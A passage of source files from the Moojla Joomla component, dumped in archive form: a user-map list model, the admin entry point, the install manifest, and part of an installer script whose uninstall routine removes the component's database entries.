        $items[$index]->userimage = "<img
src='{$it->userimage}' width='100px'
height='100px'>";
      }
    }
/***[/JCBGUI$$$$]***/

        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_user_map',
'a'));

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.jid LIKE '.$search.')');
			}
		}


		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}

	/**
	 * Method to get list export data.
	 *
	 * @param   array  $pks  The ids of the items to get
	 * @param   JUser  $user  The user making the request
	 *
	 * @return mixed  An array of data items on success, false on failure.
	 */
	public function getExportData($pks, $user = null)
	{
		// setup the query
		if (($pks_size = MoojlaHelper::checkArray($pks)) !== false ||
'bulk' === $pks)
		{
			// Set a value to know this is export method. (USE IN CUSTOM CODE TO
ALTER OUTCOME)
			$_export = true;
			// Get the user object if not set.
			if (!isset($user) || !MoojlaHelper::checkObject($user))
			{
				$user = JFactory::getUser();
			}
			// Create a new query object.
			$db = JFactory::getDBO();
			$query = $db->getQuery(true);

			// Select some fields
			$query->select('a.*');

			// From the moojla_user_map table
			$query->from($db->quoteName('#__moojla_user_map',
'a'));
			// The bulk export path
			if ('bulk' === $pks)
			{
				$query->where('a.id > 0');
			}
			// A large array of ID's will not work out well
			elseif ($pks_size > 500)
			{
				// Use lowest ID
				$query->where('a.id >= ' . (int) min($pks));
				// Use highest ID
				$query->where('a.id <= ' . (int) max($pks));
			}
			// The normal default path
			else
			{
				$query->where('a.id IN (' . implode(',',$pks) .
')');
			}

			// Order the results by ordering
			$query->order('a.ordering  ASC');

			// Load the items
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				$items = $db->loadObjectList();

				// Set values to display correctly.
				if (MoojlaHelper::checkArray($items))
				{
					foreach ($items as $nr => &$item)
					{
						// unset the values we don't want exported.
						unset($item->asset_id);
						unset($item->checked_out);
						unset($item->checked_out_time);
					}
				}
				// Add headers to items array.
				$headers = $this->getExImPortHeaders();
				if (MoojlaHelper::checkObject($headers))
				{
					array_unshift($items,$headers);
				}

		
/***[JCBGUI.admin_view.php_getitems_after_all.130.$$$$]***/
    foreach($items as $index => $it)
    {
      if($it->userimage)
      {
        $items[$index]->userimage = "<img
src='{$it->userimage}' width='100px'
height='100px'>";
      }
    }
/***[/JCBGUI$$$$]***/

				return $items;
			}
		}
		return false;
	}

	/**
	* Method to get header.
	*
	* @return mixed  An array of data items on success, false on failure.
	*/
	public function getExImPortHeaders()
	{
		// Get a db connection.
		$db = JFactory::getDbo();
		// get the columns
		$columns = $db->getTableColumns("#__moojla_user_map");
		if (MoojlaHelper::checkArray($columns))
		{
			// remove the headers you don't import/export.
			unset($columns['asset_id']);
			unset($columns['checked_out']);
			unset($columns['checked_out_time']);
			$headers = new stdClass();
			foreach ($columns as $column => $type)
			{
				$headers->{$column} = $column;
			}
			return $headers;
		}
		return false;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' . $this->getState('filter.jid');
		$id .= ':' . $this->getState('filter.mid');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_user_map'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_user_map'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
moojla.php000064400000003667151165724400006557 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moojla.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tabstate');

// Access check.
if (!JFactory::getUser()->authorise('core.manage',
'com_moojla'))
{
	throw new
JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'),
403);
};

// Add CSS file for all pages
$document = JFactory::getDocument();
$document->addStyleSheet('components/com_moojla/assets/css/admin.css');
$document->addScript('components/com_moojla/assets/js/admin.js');

// require helper files
JLoader::register('MoojlaHelper', __DIR__ .
'/helpers/moojla.php'); 
JLoader::register('JHtmlBatch_', __DIR__ .
'/helpers/html/batch_.php'); 

// Get an instance of the controller prefixed by Moojla
$controller = JControllerLegacy::getInstance('Moojla');

// Perform the Request task
$controller->execute(JFactory::getApplication()->input->get('task'));

// Redirect if set by the controller
$controller->redirect();
moojla.xml000064400000010017151165724400006553 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<extension type="component" version="3.2"
method="upgrade">
	<name>COM_MOOJLA</name>
	<creationDate>6th April, 2022</creationDate>
	<author>Lmskaran</author>
	<authorEmail>info@Lmskaran.com</authorEmail>
	<authorUrl>http://Lmskaran.com</authorUrl>
	<copyright>Copyright (C) 2015. All Rights Reserved</copyright>
	<license>GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html</license>
	<version>1.0.77</version>
	<description><![CDATA[
		<h1>Moojla (v.1.0.77)</h1>
		<div style="clear: both;"></div>
		<p></p>
		<p>Created by <a href="http://Lmskaran.com"
target="_blank">Lmskaran</a><br
/><small>Development started 22nd July,
2020</small></p>
	]]></description>

	<!-- Runs on install; New in Joomla 1.5 -->
	<install>
		<sql>
			<file driver="mysql"
charset="utf8">sql/install.mysql.utf8.sql</file>
		</sql>
	</install>

	<!-- Runs on uninstall; New in Joomla 1.5 -->
	<uninstall>
		<sql>
			<file driver="mysql"
charset="utf8">sql/uninstall.mysql.utf8.sql</file>
		</sql>
	</uninstall>

	<!-- Runs on install/uninstall/update; New in Joomla 2.5 -->
	<scriptfile>script.php</scriptfile>

	<media destination="com_moojla" folder="media">
		<filename>index.html</filename>
		<folder>js</folder>
		<folder>css</folder>
		<folder>images</folder>
		<folder>pusher</folder>
		<folder>bootstrap-v4</folder>
	</media>

	<!-- Update Schema; New in Joomla 2.5 -->
	<update>
		<schemas>
			<schemapath
type="mysql">sql/updates/mysql/</schemapath>
		</schemas>
	</update>

	<files folder="site">
		<filename>controller.php</filename>
		<filename>index.html</filename>
		<filename>router.php</filename>
		<filename>moojla.php</filename>
		<filename>router.php</filename>
		<folder>assets</folder>
		<folder>helpers</folder>
		<folder>controllers</folder>
		<folder>models</folder>
		<folder>views</folder>
		<folder>layouts</folder>
	</files>

	<languages folder="site">
		<language
tag="en-GB">language/en-GB/en-GB.com_moojla.ini</language>
		<language
tag="en-GB">language/en-GB/en-GB.com_moojla.sys.ini</language>
		<language
tag="fa-IR">language/fa-IR/fa-IR.com_moojla.ini</language>
		<language
tag="fa-IR">language/fa-IR/fa-IR.com_moojla.sys.ini</language>
	</languages>

	<administration>
		<menu>COM_MOOJLA_MENU</menu>
		<submenu>
			<!-- Instead of link you can specify individual link attributes
-->
			<menu option="com_moojla"
view="courses">COM_MOOJLA_MENU_COURSES</menu>
			<menu option="com_moojla"
view="course_fields_mapper">COM_MOOJLA_MENU_COURSE_FIELDS_MAPPER</menu>
			<menu option="com_moojla"
view="user_maps">COM_MOOJLA_MENU_USER_MAPS</menu>
			<menu option="com_moojla"
view="user_fields_map">COM_MOOJLA_MENU_USER_FIELDS_MAP</menu>
			<menu option="com_moojla"
view="course_group_maps">COM_MOOJLA_MENU_COURSE_GROUP_MAPS</menu>
			<menu option="com_moojla"
view="enrolments">COM_MOOJLA_MENU_ENROLMENTS</menu>
			<menu option="com_moojla"
view="tags">COM_MOOJLA_MENU_TAGS</menu>
			<menu option="com_moojla"
view="tag_instances">COM_MOOJLA_MENU_TAG_INSTANCES</menu>
			<menu option="com_moojla"
view="healthcheck">COM_MOOJLA_MENU_HEALTHCHECK</menu>
			<menu option="com_moojla"
view="cohorts">COM_MOOJLA_MENU_COHORTS</menu>
			<menu option="com_moojla"
view="languagetranslation">COM_MOOJLA_MENU_LANGUAGETRANSLATION</menu>
		</submenu>
		<files folder="admin">
			<filename>access.xml</filename>
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>index.html</filename>
			<filename>moojla.php</filename>
			<folder>assets</folder>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>sql</folder>
			<folder>tables</folder>
			<folder>views</folder>
			<folder>layouts</folder>
		</files>

		<languages folder="admin">
			<language
tag="en-GB">language/en-GB/en-GB.com_moojla.ini</language>
			<language
tag="en-GB">language/en-GB/en-GB.com_moojla.sys.ini</language>
			<language
tag="fa-IR">language/fa-IR/fa-IR.com_moojla.ini</language>
			<language
tag="fa-IR">language/fa-IR/fa-IR.com_moojla.sys.ini</language>
		</languages>

	</administration>
</extension>script.php000064400000432113151165724400006572
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		script.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
JHTML::_('behavior.modal');

/**
 * Script File of Moojla Component
 */
class com_moojlaInstallerScript
{
	/**
	 * Constructor
	 *
	 * @param   JAdapterInstance  $parent  The object responsible for running
this script
	 */
	public function __construct(JAdapterInstance $parent) {}

	/**
	 * Called on installation
	 *
	 * @param   JAdapterInstance  $parent  The object responsible for running
this script
	 *
	 * @return  boolean  True on success
	 */
	public function install(JAdapterInstance $parent) {}

	/**
	 * Called on uninstallation
	 *
	 * @param   JAdapterInstance  $parent  The object responsible for running
this script
	 */
	public function uninstall(JAdapterInstance $parent)
	{
		// Get Application object
		$app = JFactory::getApplication();

		// Get The Database object
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select ids from fields
		$query->select($db->quoteName('id'));
		$query->from($db->quoteName('#__fields'));
		// Where course context is found
		$query->where( $db->quoteName('context') . ' =
'. $db->quote('com_moojla.course') );
		$db->setQuery($query);
		// Execute query to see if context is found
		$db->execute();
		$course_found = $db->getNumRows();
		// Now check if there were any rows
		if ($course_found)
		{
			// Since there are load the needed  course field ids
			$course_field_ids = $db->loadColumn();
			// Remove course from the field table
			$course_condition = array( $db->quoteName('context') .
' = '. $db->quote('com_moojla.course') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__fields'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove course items
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully remove course add queued success message.
				$app->enqueueMessage(JText::_('The fields with type
(com_moojla.course) context was removed from the
<b>#__fields</b> table'));
			}
			// Also Remove course field values
			$course_condition = array( $db->quoteName('field_id') .
' IN ('. implode(',', $course_field_ids)
.')');
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__fields_values'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove course field values
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully remove course add queued success message.
				$app->enqueueMessage(JText::_('The fields values for course was
removed from the <b>#__fields_values</b> table'));
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select ids from field groups
		$query->select($db->quoteName('id'));
		$query->from($db->quoteName('#__fields_groups'));
		// Where course context is found
		$query->where( $db->quoteName('context') . ' =
'. $db->quote('com_moojla.course') );
		$db->setQuery($query);
		// Execute query to see if context is found
		$db->execute();
		$course_found = $db->getNumRows();
		// Now check if there were any rows
		if ($course_found)
		{
			// Remove course from the field groups table
			$course_condition = array( $db->quoteName('context') .
' = '. $db->quote('com_moojla.course') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__fields_groups'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove course items
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully remove course add queued success message.
				$app->enqueueMessage(JText::_('The field groups with type
(com_moojla.course) context was removed from the
<b>#__fields_groups</b> table'));
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where course alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$course_found = $db->getNumRows();
		// Now check if there were any rows
		if ($course_found)
		{
			// Since there are load the needed  course type ids
			$course_ids = $db->loadColumn();
			// Remove course from the content type table
			$course_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.course') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove course items
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully remove course add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove course items from the contentitem tag map table
			$course_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.course') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove course items
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully remove course add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove course items from the ucm content table
			$course_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove course items
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully removed course add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the course items are cleared from DB
			foreach ($course_ids as $course_id)
			{
				// Remove course items from the ucm base table
				$course_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $course_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($course_condition);
				$db->setQuery($query);
				// Execute the query to remove course items
				$db->execute();

				// Remove course items from the ucm history table
				$course_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $course_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($course_condition);
				$db->setQuery($query);
				// Execute the query to remove course items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Course alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$course_found = $db->getNumRows();
		// Now check if there were any rows
		if ($course_found)
		{
			// Since there are load the needed  course type ids
			$course_ids = $db->loadColumn();
			// Remove Course from the content type table
			$course_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.course') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove Course items
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully remove Course add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Course items from the contentitem tag map table
			$course_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.course') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove Course items
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully remove Course add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Course items from the ucm content table
			$course_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($course_condition);
			$db->setQuery($query);
			// Execute the query to remove Course items
			$course_done = $db->execute();
			if ($course_done)
			{
				// If successfully removed Course add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course) type
alias was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the Course items are cleared from DB
			foreach ($course_ids as $course_id)
			{
				// Remove Course items from the ucm base table
				$course_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $course_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($course_condition);
				$db->setQuery($query);
				// Execute the query to remove Course items
				$db->execute();

				// Remove Course items from the ucm history table
				$course_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $course_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($course_condition);
				$db->setQuery($query);
				// Execute the query to remove Course items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Course catid alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course.category') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$course_catid_found = $db->getNumRows();
		// Now check if there were any rows
		if ($course_catid_found)
		{
			// Since there are load the needed  course_catid type ids
			$course_catid_ids = $db->loadColumn();
			// Remove Course catid from the content type table
			$course_catid_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course.category') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($course_catid_condition);
			$db->setQuery($query);
			// Execute the query to remove Course catid items
			$course_catid_done = $db->execute();
			if ($course_catid_done)
			{
				// If successfully remove Course catid add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course.category)
type alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove Course catid items from the contentitem tag map table
			$course_catid_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course.category') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($course_catid_condition);
			$db->setQuery($query);
			// Execute the query to remove Course catid items
			$course_catid_done = $db->execute();
			if ($course_catid_done)
			{
				// If successfully remove Course catid add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course.category)
type alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove Course catid items from the ucm content table
			$course_catid_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course.category') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($course_catid_condition);
			$db->setQuery($query);
			// Execute the query to remove Course catid items
			$course_catid_done = $db->execute();
			if ($course_catid_done)
			{
				// If successfully removed Course catid add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.course.category)
type alias was removed from the <b>#__ucm_content</b>
table'));
			}

			// Make sure that all the Course catid items are cleared from DB
			foreach ($course_catid_ids as $course_catid_id)
			{
				// Remove Course catid items from the ucm base table
				$course_catid_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_catid_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($course_catid_condition);
				$db->setQuery($query);
				// Execute the query to remove Course catid items
				$db->execute();

				// Remove Course catid items from the ucm history table
				$course_catid_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_catid_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($course_catid_condition);
				$db->setQuery($query);
				// Execute the query to remove Course catid items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where Course_field_mapper alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course_field_mapper') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$course_field_mapper_found = $db->getNumRows();
		// Now check if there were any rows
		if ($course_field_mapper_found)
		{
			// Since there are load the needed  course_field_mapper type ids
			$course_field_mapper_ids = $db->loadColumn();
			// Remove Course_field_mapper from the content type table
			$course_field_mapper_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course_field_mapper') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($course_field_mapper_condition);
			$db->setQuery($query);
			// Execute the query to remove Course_field_mapper items
			$course_field_mapper_done = $db->execute();
			if ($course_field_mapper_done)
			{
				// If successfully remove Course_field_mapper add queued success
message.
				$app->enqueueMessage(JText::_('The
(com_moojla.course_field_mapper) type alias was removed from the
<b>#__content_type</b> table'));
			}

			// Remove Course_field_mapper items from the contentitem tag map table
			$course_field_mapper_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course_field_mapper') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($course_field_mapper_condition);
			$db->setQuery($query);
			// Execute the query to remove Course_field_mapper items
			$course_field_mapper_done = $db->execute();
			if ($course_field_mapper_done)
			{
				// If successfully remove Course_field_mapper add queued success
message.
				$app->enqueueMessage(JText::_('The
(com_moojla.course_field_mapper) type alias was removed from the
<b>#__contentitem_tag_map</b> table'));
			}

			// Remove Course_field_mapper items from the ucm content table
			$course_field_mapper_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course_field_mapper') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($course_field_mapper_condition);
			$db->setQuery($query);
			// Execute the query to remove Course_field_mapper items
			$course_field_mapper_done = $db->execute();
			if ($course_field_mapper_done)
			{
				// If successfully removed Course_field_mapper add queued success
message.
				$app->enqueueMessage(JText::_('The
(com_moojla.course_field_mapper) type alias was removed from the
<b>#__ucm_content</b> table'));
			}

			// Make sure that all the Course_field_mapper items are cleared from DB
			foreach ($course_field_mapper_ids as $course_field_mapper_id)
			{
				// Remove Course_field_mapper items from the ucm base table
				$course_field_mapper_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_field_mapper_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($course_field_mapper_condition);
				$db->setQuery($query);
				// Execute the query to remove Course_field_mapper items
				$db->execute();

				// Remove Course_field_mapper items from the ucm history table
				$course_field_mapper_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_field_mapper_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($course_field_mapper_condition);
				$db->setQuery($query);
				// Execute the query to remove Course_field_mapper items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where User_map alias is found
		$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.user_map') );
		$db->setQuery($query);
		// Execute query to see if alias is found
		$db->execute();
		$user_map_found = $db->getNumRows();
		// Now check if there were any rows
		if ($user_map_found)
		{
			// Since there are load the needed  user_map type ids
			$user_map_ids = $db->loadColumn();
			// Remove User_map from the content type table
			$user_map_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.user_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__content_types'));
			$query->where($user_map_condition);
			$db->setQuery($query);
			// Execute the query to remove User_map items
			$user_map_done = $db->execute();
			if ($user_map_done)
			{
				// If successfully remove User_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.user_map) type
alias was removed from the <b>#__content_type</b>
table'));
			}

			// Remove User_map items from the contentitem tag map table
			$user_map_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.user_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__contentitem_tag_map'));
			$query->where($user_map_condition);
			$db->setQuery($query);
			// Execute the query to remove User_map items
			$user_map_done = $db->execute();
			if ($user_map_done)
			{
				// If successfully remove User_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.user_map) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
			}

			// Remove User_map items from the ucm content table
			$user_map_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.user_map') );
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->delete($db->quoteName('#__ucm_content'));
			$query->where($user_map_condition);
			$db->setQuery($query);
			// Execute the query to remove User_map items
			$user_map_done = $db->execute();
			if ($user_map_done)
			{
				// If successfully removed User_map add queued success message.
				$app->enqueueMessage(JText::_('The (com_moojla.user_map) type
alias was removed from the <b>#__ucm_content</b> table'));
			}

			// Make sure that all the User_map items are cleared from DB
			foreach ($user_map_ids as $user_map_id)
			{
				// Remove User_map items from the ucm base table
				$user_map_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $user_map_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_base'));
				$query->where($user_map_condition);
				$db->setQuery($query);
				// Execute the query to remove User_map items
				$db->execute();

				// Remove User_map items from the ucm history table
				$user_map_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $user_map_id);
				// Create a new query object.
				$query = $db->getQuery(true);
				$query->delete($db->quoteName('#__ucm_history'));
				$query->where($user_map_condition);
				$db->setQuery($query);
				// Execute the query to remove User_map items
				$db->execute();
			}
		}

		// Create a new query object.
		$query = $db->getQuery(true);
		// Select id from content type table
		$query->select($db->quoteName('type_id'));
		$query->from($db->quoteName('#__content_types'));
		// Where User_field_map alias is found
